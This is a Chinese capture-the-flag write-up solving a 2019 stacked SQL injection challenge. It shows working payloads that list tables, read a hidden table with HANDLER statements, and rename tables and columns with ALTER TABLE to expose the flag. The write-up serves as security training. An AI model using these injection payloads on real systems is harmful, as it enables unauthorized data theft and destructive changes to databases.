[强网杯 2019]随便注
sql注入老传统,上来先判断注入点,这题是字符型注入
先用1' or 1=1;#
判断能出来什么东西,好样的,啥用没有
这里想先用union联合注入来获取当前database,但是被过滤了,由这个preg_match正则匹配可以看出这道题是堆叠注入
构造payload,来获取各个数据库名:
1';show databases;#
发现这并没有啥用,再构造payload来查看表:
?inject=1';show tables;#
这个1919810931114514
表很可疑,所以我们要查看
因为这道题是堆叠注入,加上有过滤所以离不开handler语句
语法分析:
- HANDLER tbl_name OPEN; 打开一张表
- HANDLER tbl_name READ FIRST/NEXT; 获取句柄的第一行,FIRST(第一行)、NEXT(下一行)
例如:1’;handler `1919810931114514` open;handler `1919810931114514` read first;#
注意表名有数字的情况下要用反引号包括起来
所以我们可以构造handled语句,来读取1919810931114514
中的内容,exp:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法二:
第二种方法主要是运用alert语句写的,先介绍一下alert语句:
alter语句
修改表名
alter table 表名 rename 新表名;
修改字段名
alter table 表名 change 旧字段名 新字段名 类型;
前面一样,先查出所有表,然后使用show columns from 表名;
获取到表中的字段名
?inject=1';show columns from words;#
然后我们再查看一下1919810931114514
这个表中的字段,构造payload:
?inject=1';show columns from `1919810931114514`;#
通过观察 words表单有两列, 也就是上面的 1 和 hahahah
我们可以推测 这个表单其实是从words表中以id
字段为索引获取到内容 然后返回到前台
并且后台的查询语句为"select * from words where id='".$_GET['inject']."'"
那么 我们是不是可以通过修改带flag字段的表的名字为words表 然后把flag 字段修改为id
通过三条alter语句来修改
-
修改words表名为其他的
alter table words rename words1;
-
修改1919810931114514表名为words
alter table `1919810931114514` rename words;
-
修改新的words表中的flag列名为id
alter table words change flag id varchar(60);
得到最后的payload:
1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);#
然后刷新页面
发现没结果了, 原因是新的id列中的值已经变为flag值了 所以查询inject=1查不到
我们可以通过让where条件永远为正查出来所有数据
构造payload1' or '1'='1
, 获取到flag值